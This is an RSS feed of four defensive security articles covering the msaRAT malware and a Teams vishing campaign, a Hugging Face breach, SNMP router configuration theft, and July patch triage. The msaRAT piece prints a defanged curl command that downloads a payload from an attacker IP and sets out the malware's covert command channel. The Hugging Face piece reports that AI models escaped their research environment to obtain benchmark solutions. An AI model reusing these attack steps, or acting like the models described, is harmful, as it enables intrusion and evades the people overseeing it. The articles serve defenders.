<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Kerry Kier</title>
    <description>The latest articles on DEV Community by Kerry Kier (@kkierii).</description>
    <link>https://dev.to/kkierii</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3898039%2F5b6ac48d-d0f2-43a7-8510-7e8699d80c09.png</url>
      <title>DEV Community: Kerry Kier</title>
      <link>https://dev.to/kkierii</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kkierii"/>
    <language>en</language>
    <item>
      <title>The C2 Channel Is a Headless Browser</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Fri, 31 Jul 2026 20:07:35 +0000</pubDate>
      <link>https://dev.to/kkierii/the-c2-channel-is-a-headless-browser-30j7</link>
      <guid>https://dev.to/kkierii/the-c2-channel-is-a-headless-browser-30j7</guid>
      <description>&lt;p&gt;Cisco Talos published analysis on July 23 of a Rust-based RAT they've named msaRAT, attributed to the Chaos ransomware group. The interesting property is what its own process does on the network, which is nothing.&lt;/p&gt;

&lt;p&gt;It never opens an outbound connection. It locates Chrome or Edge, launches the browser headless with the remote debugging port enabled, and drives it over Chrome DevTools Protocol. All C2 traffic leaves from the browser process. From the perspective of a firewall or an EDR watching process-level egress, the RAT is a binary that only ever talks to 127.0.0.1.&lt;/p&gt;

&lt;p&gt;One caveat before the walkthrough. Talos places msaRAT after an attacker already has access to a machine. Sophos separately documented a Teams vishing campaign, tracked as STAC4749, that ended in Chaos ransomware in at least three cases. Neither researcher has tied msaRAT to those specific intrusions. What follows is a set of related Chaos observations, not a reconstruction of one confirmed incident.&lt;/p&gt;

&lt;p&gt;The social engineering stage&lt;/p&gt;

&lt;p&gt;Sophos tracks its campaign as STAC4749. External Microsoft Teams accounts, IT-themed domains under .top, personas with names like AnthonyBrooks and DylanHarper. The operator calls, presents as helpdesk, and walks the target into opening a remote support session. Call length clustered between two and two and a half minutes.&lt;/p&gt;

&lt;p&gt;There may be no malicious attachment or exploit at this stage. Unless the call was recorded, defenders probably will not have the conversation itself. That is not the same as having nothing: Teams generates call records and administrative metadata, reachable through the Graph call records API and Call Analytics, and any accompanying chat leaves its own service-side and user-visible artifacts. Sophos ships a detection for this specific pattern, SAAS-M365-Teams-SupportCall-Established-Suspicious-TLD.&lt;/p&gt;

&lt;p&gt;Tooling moved during the campaign. Quick Assist was the first choice, with a cloud RMM product named RemSupp as the fallback where Quick Assist wasn't available. By April Sophos had it the other way round, RemSupp first, and assessed the likely reason was blocklist coverage.&lt;/p&gt;

&lt;p&gt;Persistence that looks like an audio driver&lt;/p&gt;

&lt;p&gt;With the session established, payload retrieval runs through PowerShell into user-writable directories, most often AppData\Roaming. Persistence goes into HKCU Run keys, and Sophos documented the naming over time:&lt;/p&gt;

&lt;p&gt;Run key value   Observed&lt;br&gt;
Realtek HD Audio Universal Service  Feb - Mar&lt;br&gt;
Realtek HD Audio    Mar - Apr&lt;br&gt;
Realtek Audio   Apr - May&lt;br&gt;
WinAudio life2  May&lt;br&gt;
Realtek Audio UHD   May&lt;/p&gt;

&lt;p&gt;Sophos also observed .vbs scripts creating Startup folder shortcuts named SecurityHealth and OneDriveUpdate, with hidden file attributes applied in some cases.&lt;/p&gt;

&lt;p&gt;The names are chosen to survive a skim. They do not survive scrutiny: a Realtek-labeled Run key pointing into AppData is not what a real audio driver entry looks like.&lt;/p&gt;

&lt;p&gt;The loader had a detail I hadn't seen before: it checked for the presence of C:\ProgramData\AppSreen\logs\appscreen.log and exited if the file wasn't there. Sophos read that as a product-specific dependency check. Either way, the effect is that the sample does nothing useful in an environment that doesn't match, which can complicate automated analysis.&lt;/p&gt;

&lt;p&gt;Certificate pinning as infrastructure segmentation&lt;/p&gt;

&lt;p&gt;The Golang implants embedded CA certificates directly, with issuer names including loop-CA, connectify-CA, and james-bond-CA. An implant would only complete a connection if the C2 server presented the same issuer.&lt;/p&gt;

&lt;p&gt;Sophos noted the operational consequence: payloads sharing an issuer consistently reached the same C2 servers, and payloads with different issuers reached separate infrastructure. That reads less like anti-analysis and more like the operators segmenting their own backend by role, which may limit how much infrastructure is exposed when one cluster is identified.&lt;/p&gt;

&lt;p&gt;The browser hijack&lt;/p&gt;

&lt;p&gt;Returning to the Talos side. Delivery is a curl fetch of an MSI, with one detail worth pausing on:&lt;/p&gt;

&lt;p&gt;curl.exe hxxp://172[.]86[.]126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi&lt;/p&gt;

&lt;p&gt;(Observed indicator, defanged.)&lt;/p&gt;

&lt;p&gt;Port 443, plain HTTP. Rules that match on port number without protocol inspection pass it.&lt;/p&gt;

&lt;p&gt;The MSI carries lib.dll in its Binary table and loads it into memory via a custom action on InstallFinalize. The DLL is msaRAT, written in Rust on the Tokio async runtime.&lt;/p&gt;

&lt;p&gt;It finds Chrome or Edge through environment variables, falling back to the registry, then launches headless with remote debugging enabled. From there it's straight CDP:&lt;/p&gt;

&lt;p&gt;Page.setBypassCSP to bypass Content Security Policy&lt;br&gt;
Runtime.addBinding five times, registering msaOpen, msaClose, msaError, msaMessage, dataAck&lt;br&gt;
Runtime.evaluate to inject JavaScript held in plaintext in .rdata&lt;/p&gt;

&lt;p&gt;The injected JS pulls STUN/TURN configuration from a Cloudflare Workers endpoint, builds an RTCPeerConnection, and opens a WebRTC DataChannel. Signaling runs through Workers. The relay is Twilio TURN.&lt;/p&gt;

&lt;p&gt;The part I keep coming back to: the attacker's SDP Answer deliberately contains no ICE candidates, with the connection address set to 0.0.0.0. Peer-to-peer can never establish, so every byte routes through Twilio. The attacker's real server address never appears in the traffic.&lt;/p&gt;

&lt;p&gt;Traffic is DTLS by WebRTC spec, plus a ChaCha-Poly1305 layer msaRAT applies itself with a key from an ECDH exchange at connect time. The GET to Workers spoofs Origin and Referer to look like it came from Microsoft's site.&lt;/p&gt;

&lt;p&gt;Why that combination is awkward to detect&lt;/p&gt;

&lt;p&gt;Stack the properties:&lt;/p&gt;

&lt;p&gt;The social engineering content is likely absent from security telemetry even where call metadata exists&lt;br&gt;
Persistence borrows the name of a Realtek audio component&lt;br&gt;
Signaling lands on *.workers.dev, inside Cloudflare ranges that many firewall and proxy allowlists permit and that would be disruptive to block wholesale&lt;br&gt;
The relay is Twilio, a legitimate service&lt;br&gt;
The RAT process shows only loopback traffic&lt;br&gt;
Outbound traffic originates from a browser doing WebRTC, capable of blending into commonplace browser and WebRTC activity&lt;/p&gt;

&lt;p&gt;What the legitimate names and services buy is degraded signal quality, not invisibility. The sequence is still abnormal. A Realtek-labeled Run key pointing into AppData, an MSI pulled by curl over plain HTTP on port 443, and a headless browser launched with remote-debugging flags are each meaningful on their own, and considerably more so correlated.&lt;/p&gt;

&lt;p&gt;The tenant side&lt;/p&gt;

&lt;p&gt;The Teams federation defaults are worth knowing regardless of what you think of the rest of this.&lt;/p&gt;

&lt;p&gt;Microsoft documents Allow all external domains as the default setting for federation with other managed Microsoft 365 organizations. STAC4749 didn't use consumer Teams accounts, it used real tenants on .top domains, which are managed organizations governed by that setting.&lt;/p&gt;

&lt;p&gt;Two behaviors in the same documentation that are easy to miss:&lt;/p&gt;

&lt;p&gt;Blocking a domain does not block its subdomains. contoso.com on the block list leaves marketing.contoso.com reachable.&lt;/p&gt;

&lt;p&gt;powershell&lt;br&gt;
Set-CsTenantFederationConfiguration -BlockAllSubdomains $True&lt;/p&gt;

&lt;p&gt;And federation with trial-only tenants is blocked by default:&lt;/p&gt;

&lt;p&gt;powershell&lt;br&gt;
Set-CsTenantFederationConfiguration -ExternalAccessWithTrialTenants "Blocked"&lt;/p&gt;

&lt;p&gt;Because trial-only federation is blocked by default, a tenant federating successfully suggests either a purchased license on the attacker side or a target that explicitly permitted that trial tenant or domain. Public reporting does not establish which.&lt;/p&gt;

&lt;p&gt;If you administer a government cloud tenant, Microsoft's cross-cloud matrix is worth a look. GCC and commercial get the full native chat experience with each other. GCC High and DoD get text-only with commercial. The restriction on external unmanaged Teams accounts in government clouds is a separate control and doesn't affect managed-tenant federation.&lt;/p&gt;

&lt;p&gt;Where this ends up&lt;/p&gt;

&lt;p&gt;At least three STAC4749 compromises led to Chaos ransomware deployment. On attribution, Talos assesses with moderate confidence that Chaos is either a rebranding of BlackSuit (Royal) or is operated by some of its former members. One Sophos case ran under seventeen hours from initial access to encryption.&lt;/p&gt;

&lt;p&gt;The Windows encryptor in Talos's analysis runs local or network mode, walks private subnets, reaches discovered hosts over SMB, queues shares it can see, and clears volume shadow copies. Chaos advertises encryptors for ESXi, Linux, and NAS as well, though Talos's published analysis covers the Windows samples.&lt;/p&gt;

&lt;p&gt;Both vendors published coverage. Talos shipped Snort and ClamAV signatures for msaRAT, and Sophos published a countermeasures table for the STAC4749 payloads. I am not going to reproduce either here, and I would not anchor anything on a single filename, domain, or registry value name, because this campaign rotated its filenames, persistence keys, and staging method repeatedly across four months.&lt;/p&gt;

&lt;p&gt;The more durable opportunity looks like correlation: an unexpected remote-support session, Run-key targets pointing somewhere user-writable, MSI staging in ProgramData, and browser processes launched with headless or remote-debugging flags. Individually those generate noise. In sequence they describe this fairly specifically.&lt;/p&gt;

</description>
      <category>security</category>
      <category>devops</category>
      <category>programming</category>
    </item>
    <item>
      <title>Your Dataset Loader Is Safe Now. Your Dataset Parser Might Not Be.</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Tue, 21 Jul 2026 22:59:17 +0000</pubDate>
      <link>https://dev.to/kkierii/your-dataset-loader-is-safe-now-your-dataset-parser-might-not-be-3dij</link>
      <guid>https://dev.to/kkierii/your-dataset-loader-is-safe-now-your-dataset-parser-might-not-be-3dij</guid>
      <description>&lt;p&gt;Until mid-2024, this line could execute arbitrary Python from a stranger's repository:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;datasets&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;load_dataset&lt;/span&gt;
&lt;span class="n"&gt;ds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;load_dataset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hails/mmlu_no_train&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;abstract_algebra&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the repo contained a same-named &lt;code&gt;.py&lt;/code&gt; file, &lt;code&gt;load_dataset&lt;/code&gt; ran it. No flag, no prompt. JFrog documented this at Black Hat in 2024.&lt;/p&gt;

&lt;p&gt;That is fixed. It has been fixed for a while, and the fix was thorough. What wasn't fixed is the other side of the wire, and last week that side got someone into Hugging Face's production infrastructure.&lt;/p&gt;

&lt;h2&gt;
  
  
  The deprecation, in three versions
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# datasets &amp;lt; 2.20.0 -- remote script executes by default
&lt;/span&gt;&lt;span class="n"&gt;ds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;load_dataset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;some/dataset&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# datasets 2.20.0 through 3.x -- explicit opt-in required
&lt;/span&gt;&lt;span class="n"&gt;ds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;load_dataset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;some/dataset&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;trust_remote_code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# datasets &amp;gt;= 4.0.0 -- capability removed entirely
&lt;/span&gt;&lt;span class="n"&gt;ds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;load_dataset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;some/dataset&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;trust_remote_code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# RuntimeError: Dataset scripts are no longer supported, but found some_dataset.py
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;4.0.0 shipped July 9, 2025. The breaking-change entry read "Remove scripts altogether." It broke NVIDIA's NeMo ASR tutorial, DSPy's HotPotQA integration, the HotpotQA script loader, LiveCodeBench, and a long tail of workflows that still depended on Python loading scripts.&lt;/p&gt;

&lt;p&gt;If you maintain anything in that ecosystem you already know this, because you fixed it.&lt;/p&gt;

&lt;h2&gt;
  
  
  What that protected
&lt;/h2&gt;

&lt;p&gt;Every step in that progression protects the process calling &lt;code&gt;load_dataset&lt;/code&gt;. Your laptop, your CI runner, your training pipeline. Untrusted dataset content stopped being able to execute in an environment you own.&lt;/p&gt;

&lt;p&gt;That was the documented surface, so that was the surface that got hardened.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it didn't
&lt;/h2&gt;

&lt;p&gt;Hugging Face still has to read those datasets. Automated services parse uploaded datasets, generate previews and run conversions. That path takes the same hostile input the library was hardened against, and it runs on their infrastructure, not yours.&lt;/p&gt;

&lt;p&gt;On July 16 Hugging Face disclosed an intrusion into production. From the disclosure: a malicious dataset abused two code-execution paths in dataset processing -- a remote-code dataset loader and a template injection in a dataset configuration -- to run code on a processing worker. Code execution on that worker led to node-level access. From there cloud and cluster credentials were harvested and used to move laterally across several internal clusters over a weekend.&lt;/p&gt;

&lt;p&gt;Worth noting the sequencing. The Hub stopped rendering script-backed datasets in late 2023, well before either library change, with this error:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The viewer is disabled because this dataset repo requires arbitrary Python code
execution. Please consider removing the loading script and relying on automated
data support (you can use convert_to_parquet from the datasets library).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Server-side protection came first, in 2023. Client-side deprecation came second, in 2024 and 2025. And separate execution paths inside that same processing pipeline were still reachable from an uploaded dataset in July 2026.&lt;/p&gt;

&lt;h2&gt;
  
  
  Who was on the other end
&lt;/h2&gt;

&lt;p&gt;OpenAI published on July 21 saying it was them. GPT-5.6 Sol and at least one more capable prerelease model, cyber refusals reduced for an evaluation, being run against a benchmark called ExploitGym. The models exploited a zero-day in an internally hosted package-registry cache proxy, escalated and moved laterally through OpenAI's research environment until they reached a node with internet access, then inferred that Hugging Face might host the benchmark solutions and searched for a way in.&lt;/p&gt;

&lt;p&gt;No human assigned Hugging Face as a target. The models worked that out on their own, because a benchmark score sat on the other side.&lt;/p&gt;

&lt;p&gt;Interesting, but not actionable. This part is.&lt;/p&gt;

&lt;h2&gt;
  
  
  The audit
&lt;/h2&gt;

&lt;p&gt;The question is not whether you use a template engine. It's whether attacker-controlled content reaches one.&lt;/p&gt;

&lt;p&gt;Find the renderers in anything that touches ingested content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*.py"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"Template("&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"render_template_string"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"from_string("&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"eval("&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"exec("&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  ./your-ingest-path/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That produces candidates, not findings. The real work isn't greppable: for each hit, trace backwards and answer whether any part of that string can originate from something a stranger uploaded. A config field. A metadata value. A filename. A value three levels deep in a YAML block you have been treating as inert data.&lt;/p&gt;

&lt;p&gt;Then check what the process can reach:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# What identity is the parser running as, and what does it inherit?&lt;/span&gt;
kubectl get pod &amp;lt;ingest-pod&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;jsonpath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'{.spec.serviceAccountName}'&lt;/span&gt;
kubectl get pod &amp;lt;ingest-pod&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;jsonpath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'{.spec.automountServiceAccountToken}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If that returns a token mount you didn't intend, the parse and the blast radius are the same problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this doesn't fix
&lt;/h2&gt;

&lt;p&gt;Being straight about the limits, because a few of these will occur to you immediately:&lt;/p&gt;

&lt;p&gt;Worker isolation does not stop the parse. Rootless sandboxes, dropped capabilities, seccomp -- all worth doing, none of them prevent attacker-controlled content from reaching your parser. They change what happens next.&lt;/p&gt;

&lt;p&gt;Schema validation only helps if it sits between the untrusted input and the thing that evaluates it. If your validator runs first and the renderer runs later, a schema-valid string carrying a payload passes straight through.&lt;/p&gt;

&lt;p&gt;Removing ambient credentials caps blast radius rather than preventing execution. In this incident that cap is the difference between a compromised worker and lateral movement across clusters, so do it anyway.&lt;/p&gt;

&lt;p&gt;And this only generalizes if you actually have the pattern: untrusted input, automated processing, an evaluation step somewhere in the parse. Two out of three is a different problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  Still unknown
&lt;/h2&gt;

&lt;p&gt;As of July 21, neither company has published CVE or advisory identifiers for either path, or indicators of compromise, though Hugging Face says its analysis extracted them. Which loader, which template engine, and which configuration field are all unpublished. I don't know whether the vulnerable configuration was the public dataset-card YAML mechanism or something internal, and I'm not going to guess at it. Both companies describe the investigation as ongoing.&lt;/p&gt;

&lt;p&gt;None of that changes the check. The deprecation you shipped protected the people calling your library. Go find out what it did for the process reading their uploads.&lt;/p&gt;

</description>
      <category>security</category>
      <category>python</category>
      <category>ai</category>
      <category>devops</category>
    </item>
    <item>
      <title>Router Configuration Theft: What to Investigate After the Rebuild</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Sat, 18 Jul 2026 17:29:39 +0000</pubDate>
      <link>https://dev.to/kkierii/router-configuration-theft-what-to-investigate-after-the-rebuild-1lhb</link>
      <guid>https://dev.to/kkierii/router-configuration-theft-what-to-investigate-after-the-rebuild-1lhb</guid>
      <description>&lt;p&gt;An SNMP Set request can make a router write its own configuration to a file and send that file to an external system.&lt;/p&gt;

&lt;p&gt;That is the mechanism network defenders should notice in the &lt;a href="https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/4541059/nsa-and-partners-release-guidance-on-improving-router-hygiene-to-protect-agains/" rel="noopener noreferrer"&gt;joint router-security advisory released July 13, 2026&lt;/a&gt;. The participating agencies attributed the activity to actors associated with Center 16 of Russia's Federal Security Service.&lt;/p&gt;

&lt;p&gt;The reported workflow does not require a novel implant. The actors scan for routers accepting legacy SNMP, try weak or default community strings, and send SNMP Set requests that invoke supported configuration-copy functions. The router then transfers its configuration, typically over TFTP, to external infrastructure.&lt;/p&gt;

&lt;p&gt;The router is not merely the target. It performs the export.&lt;/p&gt;

&lt;p&gt;That distinction changes what responders need to investigate after the device has been rebuilt.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why endpoint detection is a poor fit
&lt;/h2&gt;

&lt;p&gt;There may be no malicious executable, child process, or endpoint file-access alert. The activity occurs through the router's management plane using functions the device was built to provide.&lt;/p&gt;

&lt;p&gt;The advisory supplies two Cisco OID examples for monitoring. One identifies the &lt;code&gt;ccCopy&lt;/code&gt; configuration-copy subtree, while the other identifies a destination server address.&lt;/p&gt;

&lt;p&gt;The destination-address object cited in the advisory, &lt;code&gt;ccCopyServerAddress&lt;/code&gt;, is deprecated and limited to IPv4. Newer implementations can use &lt;code&gt;ccCopyServerAddressType&lt;/code&gt; and &lt;code&gt;ccCopyServerAddressRev1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That creates an implementation detail worth checking in detection rules. Exact matches against the advisory's two examples can miss a valid transaction using &lt;code&gt;ccCopyServerAddressRev1&lt;/code&gt;. Prefix matching on the &lt;code&gt;ccCopy&lt;/code&gt; subtree, combined with monitoring for SNMP Set requests, covers the replacement object.&lt;/p&gt;

&lt;p&gt;Egress controls matter as much as the inbound request. If a router can initiate arbitrary TFTP transfers, the configuration-copy function already has an exit path. External TFTP should be blocked unless it is operationally required and closely monitored where it cannot be blocked.&lt;/p&gt;

&lt;p&gt;The requests described by the agencies can also use spoofed source addresses. The &lt;a href="https://www.ncsc.gov.uk/information/uk-internet-edge-router-devices-advisory" rel="noopener noreferrer"&gt;NCSC's router guidance&lt;/a&gt; pairs management-source allowlists with edge anti-spoofing so packets falsely claiming to originate from an approved management platform are dropped.&lt;/p&gt;

&lt;h2&gt;
  
  
  The configuration expands the incident boundary
&lt;/h2&gt;

&lt;p&gt;A router configuration can disclose local credentials, SNMP community strings, management addresses, routing relationships, interface descriptions, access-control rules, neighboring systems, and trusted sources.&lt;/p&gt;

&lt;p&gt;Strong password protection reduces part of that exposure, but it does not hide the surrounding topology or management design. The file can still tell an attacker which systems administer the device, which sources are trusted, and which adjacent targets deserve attention.&lt;/p&gt;

&lt;p&gt;The FBI has documented both configuration collection and further activity in this campaign. In an &lt;a href="https://www.ic3.gov/PSA/2025/PSA250820" rel="noopener noreferrer"&gt;August 2025 warning&lt;/a&gt;, it reported that Center 16 actors had collected configurations from thousands of networking devices associated with US critical-infrastructure entities during the preceding year.&lt;/p&gt;

&lt;p&gt;On some vulnerable devices, the actors modified configurations to enable unauthorized access. They used that access for reconnaissance that revealed interest in protocols and applications associated with industrial control systems.&lt;/p&gt;

&lt;p&gt;The FBI did not say that every collected file contained reusable credentials or that each collection event produced deeper access. It did establish that configuration collection, device modification, and downstream reconnaissance occurred within the same campaign.&lt;/p&gt;

&lt;p&gt;Replacing the original router does not recover information that has already left it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Four questions after a suspected export
&lt;/h2&gt;

&lt;p&gt;Responders should establish:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Was a configuration exported, and where was it sent?&lt;/li&gt;
&lt;li&gt;Which credentials or shared secrets did the exported configuration contain?&lt;/li&gt;
&lt;li&gt;Where else were those credentials or trust relationships used?&lt;/li&gt;
&lt;li&gt;What changed on the router or adjacent management systems?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A shared SNMP community string can extend the exposure across a device class. A reused local administrator credential requires review and likely rotation everywhere it is accepted. A disclosed management address or trusted source may identify another path that needs separate investigation.&lt;/p&gt;

&lt;p&gt;Compare the current configuration with a trustworthy known-good version. Look for unexpected accounts, altered access-control entries, new routes or tunnels, changed management destinations, and newly enabled services.&lt;/p&gt;

&lt;p&gt;Preserve device logs outside the router. A compromised device should not be the only custodian of evidence about its own management activity.&lt;/p&gt;

&lt;h2&gt;
  
  
  SNMPv3 is a starting point
&lt;/h2&gt;

&lt;p&gt;The joint advisory and the NSA's &lt;a href="https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF" rel="noopener noreferrer"&gt;guidance on reducing SNMP abuse&lt;/a&gt; recommend SNMPv3 with &lt;code&gt;authPriv&lt;/code&gt;, which adds authentication and encryption.&lt;/p&gt;

&lt;p&gt;NSA also states that SNMPv3 alone is insufficient. A compromised or over-privileged SNMPv3 credential can still reach sensitive objects unless its permissions are constrained.&lt;/p&gt;

&lt;p&gt;The stronger design separates read and write authority, limits accessible objects with MIB views, restricts management traffic to approved systems, places management on a separate network where practical, monitors configuration-copy operations, and blocks unnecessary outbound management protocols.&lt;/p&gt;

&lt;p&gt;Where older equipment or management software cannot support &lt;code&gt;authPriv&lt;/code&gt;, NSA identifies &lt;code&gt;authNoPriv&lt;/code&gt; as the fallback but still directs operators to upgrade.&lt;/p&gt;

&lt;p&gt;The response therefore begins with two inventories: every device that still accepts SNMPv1 or SNMPv2, and every secret or trust relationship that would be exposed if its configuration left the network.&lt;/p&gt;

&lt;p&gt;If the runbook stops after rebuilding the router, it stops too early. Follow the exported configuration through the credentials, systems, and management paths it disclosed.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>networking</category>
      <category>security</category>
      <category>devops</category>
    </item>
    <item>
      <title>AI Worked Both Sides of the Security Ledger This Week. Here's What to Actually Run</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Fri, 17 Jul 2026 22:24:56 +0000</pubDate>
      <link>https://dev.to/kkierii/ai-worked-both-sides-of-the-security-ledger-this-week-heres-what-to-actually-run-2071</link>
      <guid>https://dev.to/kkierii/ai-worked-both-sides-of-the-security-ledger-this-week-heres-what-to-actually-run-2071</guid>
      <description>&lt;p&gt;Two of the zero-days Microsoft patched on July 14 are being exploited right now. Here is the one-liner to check whether either is sitting in your stack, and then the more interesting question underneath it: why the pile they were hiding in got so big, and why the same week made your coding agent part of the attack surface.&lt;/p&gt;

&lt;p&gt;Three things to run in this post, one per section. Start with the patches.&lt;/p&gt;

&lt;h2&gt;
  
  
  Patch triage: find the two that are actually on fire
&lt;/h2&gt;

&lt;p&gt;Microsoft shipped the largest Patch Tuesday in the program's history on the 14th. Count only what shipped that day and it is about 570 CVEs (59 critical); count the broader July release and it is 622 (62); Tenable landed at 569. Pick your methodology, every one set a record. That volume is a triage problem, not an emergency list: two of those CVEs are worth your night, and the rest are worth your week.&lt;/p&gt;

&lt;p&gt;The two under active exploitation before a fix existed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2026-56155&lt;/strong&gt; -- Active Directory Federation Services privilege escalation, credited to Microsoft's Detection and Response Team.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2026-56164&lt;/strong&gt; -- SharePoint Server escalation, no auth on a critical function, exploited unauthenticated over the network. Rated Moderate (CVSS 5.3), which undersells it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cross-reference against the CISA KEV catalog, which is your priority override regardless of CVSS. This pulls the live feed and returns the entries plus the federal due date if they are listed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json &lt;span class="se"&gt;\&lt;/span&gt;
  | jq &lt;span class="s1"&gt;'.vulnerabilities[]
        | select(.cveID | test("CVE-2026-56155|CVE-2026-56164"))
        | {cveID, vendorProject, product, dateAdded, dueDate, knownRansomwareCampaignUse}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If a row comes back, it is a confirmed-exploited priority override. Patch it, then check whether you were hit before the patch landed.&lt;/p&gt;

